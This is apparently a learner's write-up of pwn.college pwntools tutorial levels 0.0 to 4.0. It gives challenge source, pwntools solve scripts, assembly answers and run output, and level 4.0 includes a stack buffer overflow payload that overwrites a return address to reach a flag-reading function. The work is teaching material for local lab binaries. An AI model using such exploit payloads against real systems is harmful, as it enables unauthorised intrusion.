PwnCollege - Pwntools Tutorials

Level 0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level0.0"
p = process(challenge_path)

payload = b"pokemon\n"
# Send the payload after the string ":)\n###\n" is found.
p.sendafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
2
3
4
5
6
hacker@pwntools~level-0-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level0.0': pid 218
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Process '/challenge/pwntools-tutorials-level0.0' stopped with exit code 0 (pid 218)
flag is: b'pwn.college{**********************************************}\n'

Level 1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void print_flag()
{
char *p;
FILE *fp;
char flag[100];

fp = fopen("/flag", "r");

if (!fp) {
perror("[-] fopen failed");
}

p = fgets(flag, sizeof(flag), fp);
if (!p) {
perror("[-] fgets failed");
fclose(fp);
}

printf("%s", flag);

fclose(fp);
}

int bypass_me(char *buf)
{
unsigned int magic = 0xdeadbeef;

if (!strncmp(buf, (char *)&magic, 4)) {
return 1;
}

return 0;
}

int main()
{
char buffer[100];

print_desc();

fgets(buffer, sizeof(buffer), stdin);

if (bypass_me(buffer)) {
print_flag();
} else {
printf("You need to bypass some conditions to get the flag: \n");
printf("Please refer to the source code to understand these conditions\n");
}

print_exit();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level1.0"
p = process(challenge_path)

payload = p32(0xdeadbeef)
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
2
3
4
5
6
hacker@pwntools~level-1-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level1.0': pid 200
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Process '/challenge/pwntools-tutorials-level1.0' stopped with exit code 0 (pid 200)
flag is: b'pwn.college{**********************************************}\n'

Level 1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int bypass_me(char *buf)
{
int flag = 1;
int num;

// b'p' + 0x15 + 123456789 + 'Bypass Me:)'
if (buf[0] != 'p' || buf[1] != 0x15) {
flag = 0;
goto out;
}

memcpy(&num, buf + 2, 4);
if (num != 123456789) {
flag = 0;
goto out;
}

if (strncmp(buf + 6, "Bypass Me:)", 11)) {
flag = 0;
goto out;
}

out:
return flag;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level1.1"
p = process(challenge_path)

# b'p' + 0x15 + 123456789 + 'Bypass Me:)'
payload = b"p" + p8(0x15) + p32(123456789) + b"Bypass Me:)"
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
flag is: b'pwn.college{**********************************************}\n'

Level 2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.0"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter("Please give me your assembly in bytes", asm("mov rax, 0x12345678"))

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
^Chacker@pwntools~level-2-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level2.0': pid 194
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, 0x12345678
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.0' stopped with exit code 0 (pid 194)

Level 2.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class ASMChallenge(ASMBase):
"""
Exchange the value of registers
"""

name = "pwntools-tutorials-level2.1"
init_rax = random.randint(0, 0x100000000)
init_rbx = random.randint(0, 0x100000000)
init_memory = {}

# users can write multiple instructions to archive this goal
# whitelist = ["xchg"]

@property
def description(self):
return f"""
In this level you need to craft assembly code to satisfy the following conditions:
* exchange the value of rax and rbx
"""

def trace(self):
self.start()
return (self.rax == self.init_rbx and self.rbx == self.init_rax)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.1"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter("Please give me your assembly in bytes", asm("xchg rax, rbx"))

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
    main()hacker@pwntools~level-2-1:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level2.1': pid 198
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: xchg rbx, rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.1' stopped with exit code 0 (pid 198)

Level 2.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ASMChallenge(ASMBase):
"""
Exchange the value of registers
"""

name = "pwntools-tutorials-level2.2"
init_rdx = 0
init_rax = random.randint(0, 0x100000000)
init_rbx = random.randint(0, 0x100000000)
init_rcx = random.randint(0, 0x100000000)
init_rsi = random.randint(0, 0x100000000)
init_memory = {}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* rax = rax % rbx + rcx - rsi

We already set the following in preparation for your code:
rdx = 0
"""

def trace(self):
self.start()
return (self.rax == self.init_rax % self.init_rbx + self.init_rcx - self.init_rsi)

在 x86 架构中,取模(modulo)运算并没有独立的指令,而是和除法指令 div 绑定在一起的。当你执行无符号除法 div rbx 时,CPU 底层是这么运作的:

  1. 它会将 rdxrax 拼接成一个 128-bit 的大整数(即 rdx:rax)作为被除数。
  2. 它拿这个被除数去排着除以你的操作数 rbx
  3. 关键点来了:计算完成后,商 (Quotient) 会被存放在 rax 中,而我们最需要的余数 (Remainder/Modulo) 会被存放在 rdx 中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.2"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter(
"Please give me your assembly in bytes",
asm("""
xor rdx, rdx
div rbx
mov rax, rdx
add rax, rcx
sub rax, rsi
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: xor rdx, rdx
[+] 0x400003: div rbx
[+] 0x400006: mov rax, rdx
[+] 0x400009: add rax, rcx
[+] 0x40000c: sub rax, rsi
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.2' stopped with exit code 0 (pid 231)

Level 2.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ASMChallenge(ASMBase):
"""
Copy memory value
"""

name = "pwntools-tutorials-level2.3"
value = random.randint(0, 0x100000)

@property
def init_memory(self):
return {self.DATA_ADDR: self.value.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000
"""

def trace(self):
self.start()
return all(
(
self[self.DATA_ADDR + 0x1000 : self.DATA_ADDR + 0x1000 + 8] == self.value.to_bytes(8, "little"),
self[self.DATA_ADDR : self.DATA_ADDR + 8] == self.value.to_bytes(8, "little"),
)
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.3"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
# In this level you need to craft assembly code to complete the following operations:
# * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000

p.sendafter(
"Please give me your assembly in bytes",
asm("""
mov rax, qword ptr [0x404000]
mov qword ptr [0x405000], rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, qword ptr [0x404000]
[+] 0x400008: mov qword ptr [0x405000], rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.3' stopped with exit code 0 (pid 205)

Level 2.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.4"

init_rbx = random.randint(0x1000, 0x10000)
init_rsp = ASMBase.RSP_INIT - 0x8
mem_rsp = random.randint(0x10000, 0x20000)

@property
def init_memory(self):
return {self.init_rsp: self.mem_rsp.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* the top value of the stack = the top value of the stack - rbx

Tips: perfer push and pop instructions, other than directly [esp] dereference
"""

def trace(self):
self.start()
return self[self.init_rsp : self.init_rsp + 8] == (
self.mem_rsp - self.init_rbx
).to_bytes(8, "little")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.4"
p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
# In this level you need to craft assembly code to complete the following operations:
# * the top value of the stack = the top value of the stack - rbx
# Tips: perfer push and pop instructions, other than directly [esp] dereference

p.sendafter(
"Please give me your assembly in bytes",
asm("""
pop rax
sub rax, rbx
push rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: pop rax
[+] 0x400001: sub rax, rbx
[+] 0x400004: push rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.4' stopped with exit code 0 (pid 205)

Level 2.5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.5"

init_rsp = ASMBase.RSP_INIT - 0x8
mem_rsp = random.randint(0x7000000000000000, 0xFFFFFFFFFFFFFFFF)

@property
def init_memory(self):
return {self.init_rsp: self.mem_rsp.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* the top value of the stack = abs(the top value of the stack)
"""

def trace(self):
self.start()
return self[self.init_rsp : self.init_rsp + 8] == (
self.mem_rsp if self.mem_rsp < 0x8000000000000000 else 2**64 - self.mem_rsp
).to_bytes(8, "little")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.5"

p = process(challenge_path)

# In this level you need to craft assembly code to complete the following operations:
# * the top value of the stack = abs(the top value of the stack)

p.sendafter(
"Please give me your assembly in bytes",
asm("""
pop rax
neg rax
push rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: pop rax
[+] 0x400001: neg rax
[+] 0x400004: push rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.5' stopped with exit code 0 (pid 205)

Level 2.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.6"

init_rcx = random.randint(0x10000, 0x20000)
init_memory = {}

@property
def description(self):
return f"""
In this level you need to craft for statement to complete the following operations:
* rax = the sum from 1 to rcx
"""

def trace(self):
self.start()
return self.rax == sum(range(self.init_rcx+1))

初学者肯定会想到写个循环:把 rax 清零,然后每次把 rcx 加进 rax,再 dec rcx,接着用 jnz 跳转回去。

回想一下等差数列求和

$$Sum = \frac{rcx \times (rcx + 1)}{2}$$

利用 mul 乘法指令和 shr 位移指令 只需要 O(1) 的时间复杂度

这个优化的前提是 rcx 里的数值不会大到让相乘的结果溢出 64-bit 寄存器 rax 并跑进 rdx 里。

如果开发中遇到这种溢出,我们还要加上 shrd rax, rdx, 1 来处理双精度位移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.6"

p = process(challenge_path)

# In this level you need to craft assembly code to complete the following operations:
# * rax = the sum from 1 to rcx

# 1. 准备计算 (rcx + 1),我们先把 rcx 复制到 rax
# 2. rax = rcx + 1
# 3. 乘法: CPU 会自动计算 rax * rcx,并将低 64-bit 结果存入 rax,高位存入 rdx
# 此时 rax 里就是 n * (n + 1) 的结果
# 4. 除以 2:用逻辑右移 (shr) 来代替 div 指令
p.sendafter(
"Please give me your assembly in bytes",
asm("""
mov rax, rcx
inc rax
mul rcx
shr rax, 1
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, rcx
[+] 0x400003: inc rax
[+] 0x400006: mul rcx
[+] 0x400009: shr rax, 1
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.6' stopped with exit code 0 (pid 193)

Level 3.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#define BUF_SIZE 0x100

enum book_status{
CREATED = 0X12345,
ABANDONED = 0X67890,
}
;
typedef struct {
char content[BUF_SIZE];
int status;
} notebook;

notebook * notebooks[10] = {NULL};

void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}

int read_int()
{
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}

void read_flag()
{
char flag[0x100];
int fd, size = 0;

fd = open("/flag", 0);
if (fd < 0) {
puts("Open flag failed");
exit(-1);
}
size = read(fd, flag, 0x100);
write(1, flag, size);
close(fd);
exit(0);
}

void create_notebook()
{
notebook *book = NULL;
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x20) {
puts("Invalid index for notebooks, Hacker!");
return;
}

book = malloc(sizeof(notebook));
if (book == NULL) {
puts("malloc error");
exit(-1);
}

puts("Input your notebook content:");
read(0, book->content, BUF_SIZE);
book->status = CREATED;

notebooks[idx] = book;
puts("Done!");
}

void edit_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

notebooks[idx]->status = ABANDONED;
puts("Done!");
}

void delete_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

free(notebooks[idx]);
puts("Done!");
}

void show_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

printf("content = %s, status = 0x%x\n", notebooks[idx]->content, notebooks[idx]->status);
}

int bypass_me()
{
int flag = 0;

// notebooks[0]
if ((notebooks[0] == NULL) ||
(strcmp(notebooks[0]->content, "hello ") != 0) ||
(notebooks[0]->status != CREATED))
return flag;

// notebooks[1]
if ((notebooks[1] == NULL) ||
(strcmp(notebooks[1]->content, "world,") != 0) ||
(notebooks[1]->status != ABANDONED))
return flag;

// notebooks[3]
if ((notebooks[3] == NULL) ||
(strcmp(notebooks[3]->content, "magic ") != 0) ||
(notebooks[3]->status != CREATED))
return flag;

// notebooks[5]
if ((notebooks[5] == NULL) ||
(strcmp(notebooks[5]->content, "notebook") != 0) ||
(notebooks[5]->status != ABANDONED))
return flag;

flag = 1;

return flag;
}

void menu()
{
puts("1. Create Notebook");
puts("2. Edit Notebook");
puts("3. Delete Notebook");
puts("4. Show Notebook");
puts("5. Gift for You");
puts("Choice >> ");
}

int main()
{
int choice, flag = 1;

init();
puts("We have a magic notebook for you:");

while (flag) {
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
create_notebook();
break;
case 2:
edit_notebook();
break;
case 3:
delete_notebook();
break;
case 4:
show_notebook();
break;
case 5:
if (bypass_me())
read_flag();
flag = 0;
break;
default:
puts("Invalid choice");
break;
}
}

puts("Bye bye~");

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch="amd64", os="linux", log_level="info")

challenge_path = "/challenge/pwntools-tutorials-level3.0"

p = process(challenge_path)

def create(idx, content):
p.sendlineafter(b"Choice >> \n", b"1")
p.sendlineafter(b"Input your notebook index:\n", str(idx).encode())
p.sendafter(b"Input your notebook content:\n", content)

def edit(idx):
p.sendlineafter(b"Choice >> \n", b"2")
p.sendlineafter(b"Input your notebook index:\n", str(idx).encode())

create(0, b"hello \x00")
create(1, b"world,\x00")
create(3, b"magic \x00")
create(5, b"notebook\x00")

# 修改指定 chunk 的 status 为 ABANDONED
edit(1)
edit(5)

p.sendlineafter(b"Choice >> \n", b"5")

flag_output = p.recvall()
print(flag_output.decode('utf-8', errors='ignore'))
1
2
3
4
5
hacker@pwntools~level-3-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level3.0': pid 196
[+] Receiving all data: Done (58B)
[*] Process '/challenge/pwntools-tutorials-level3.0' stopped with exit code 0 (pid 196)
pwn.college{**********************************************}

Level 4.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
            ;-- read_flag:
0x00401f0f f30f1efa endbr64
0x00401f13 55 push rbp
0x00401f14 4889e5 mov rbp, rsp
0x00401f17 4883ec70 sub rsp, 0x70
0x00401f1b 488d359e12.. lea rsi, [0x004031c0] ; "r"
0x00401f22 488d3d9912.. lea rdi, str._flag ; 0x4031c2 ; "/flag"
0x00401f29 e852f3ffff call sym.imp.fopen ;[2]
0x00401f2e 488945f8 mov qword [rbp - 8], rax
0x00401f32 48837df800 cmp qword [rbp - 8], 0
┌─< 0x00401f37 7522 jne 0x401f5b
│ 0x00401f39 488d3d8812.. lea rdi, str. ; 0x4031c8
│ 0x00401f40 e88bf2ffff call sym.imp.puts ;[3]
│ 0x00401f45 bfffffffff mov edi, 0xffffffff ; -1
│ 0x00401f4a e891f3ffff call sym.imp.exit ;[4]
┌──> 0x00401f4f 488d4590 lea rax, [rbp - 0x70]
╎│ 0x00401f53 4889c7 mov rdi, rax
╎│ 0x00401f56 e875f2ffff call sym.imp.puts ;[3]
╎└─> 0x00401f5b 488b55f8 mov rdx, qword [rbp - 8]
╎ 0x00401f6f 488d4590 lea rax, [rbp - 0x70]
╎ 0x00401f63 be64000000 mov esi, 0x64 ; 'd' ; 100
╎ 0x00401f68 4889c7 mov rdi, rax
╎ 0x00401f6b e8c0f2ffff call sym.imp.fgets ;[5]
╎ 0x00401f70 4885c0 test rax, rax
└──< 0x00401f73 75da jne 0x401f4f
0x00401f75 488b45f8 mov rax, qword [rbp - 8]
0x00401f79 4889c7 mov rdi, rax
0x00401f7c e86ff2ffff call sym.imp.fclose ;[6]
0x00401f81 90 nop
0x00401f82 c9 leave
0x00401f83 c3 ret
;-- main:
0x00401f84 f30f1efa endbr64
0x00401f88 55 push rbp
0x00401f89 4889e5 mov rbp, rsp
0x00401f8c 4883ec30 sub rsp, 0x30
0x00401f90 66c745fe3412 mov word [rbp - 2], 0x1234 ; '4\x12'
0x00401f96 b8efbeadde mov eax, 0xdeadbeef
0x00401f9b 488945f0 mov qword [rbp - 0x10], rax
0x00401f9f b800000000 mov eax, 0
0x00401fa4 e801ffffff call sym.init ;[7]
0x00401fa9 b800000000 mov eax, 0
0x00401fae e8ecfdffff call sym.print_desc ;[8]
0x00401fb3 488d3d2112.. lea rdi, str.Give_me_your_input ; 0x4031db ; "Give me your input"
0x00401fba e811f2ffff call sym.imp.puts ;[3]
0x00401fbf 488d45d0 lea rax, [rbp - 0x30]
0x00401fc3 4889c6 mov rsi, rax
0x00401fc6 488d3d2112.. lea rdi, [0x004031ee] ; "%s"
0x00401fcd b800000000 mov eax, 0
0x00401fd2 e8d9f2ffff call sym.imp.__isoc99_scanf ;[9]
0x00401fd7 b800000000 mov eax, 0
0x00401fdc e876fcffff call sym.print_exit ;[?]
0x00401fe1 b800000000 mov eax, 0
0x00401fe6 c9 leave
0x00401fe7 c3 ret
0x00401fe8 0f1f840000.. nop dword [rax + rax]

hacker@pwntools~level-4-0:~$ checksec /challenge/pwntools-tutorials-level4.0
[*] '/challenge/pwntools-tutorials-level4.0'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

buffer overflow + ret to read_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level4.0"
p = process(challenge_path)

payload = b"A" * 48 + b"B" * 8 + p64(0x00401f0f)
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter("Give me your input\n", payload)

# Receive flag from the process
flag = p.recvall(timeout=1)
print(f"flag is: {flag}")
1
2
3
4
5
6
7
hacker@pwntools~level-4-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level4.0': pid 202
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Receiving all data: Done (188B)
[*] Process '/challenge/pwntools-tutorials-level4.0' stopped with exit code -11 (SIGSEGV) (pid 202)
flag is: b'\n### 2026\xe5\xb9\xb44\xe6\x9c\x881\xe6\x97\xa518:42:16 \xe6\x88\x98\xe6\x96\x97\xe8\xae\xb0\xe5\xbd\x95:\x1b[1m\x1b[31m \xe5\xa4\xa7\xe9\x92\xb3\xe8\x9f\xb9 \x1b[0m\xe8\x8e\xb7\xe8\x83\x9c\n### \xe5\x8a\xaa\xe5\x8a\x9b\xe6\x8f\x90\xe5\x8d\x87\xe8\x87\xaa\xe5\xb7\xb1\xe7\x9a\x84\xe7\xad\x89\xe7\xba\xa7\xe5\x90\x8e\xef\xbc\x8c\xe5\x86\x8d\xe6\x9d\xa5\xe6\x8c\x91\xe6\x88\x98\xe5\x90\xa7\xef\xbc\x81\npwn.college{**********************************************}\n\n'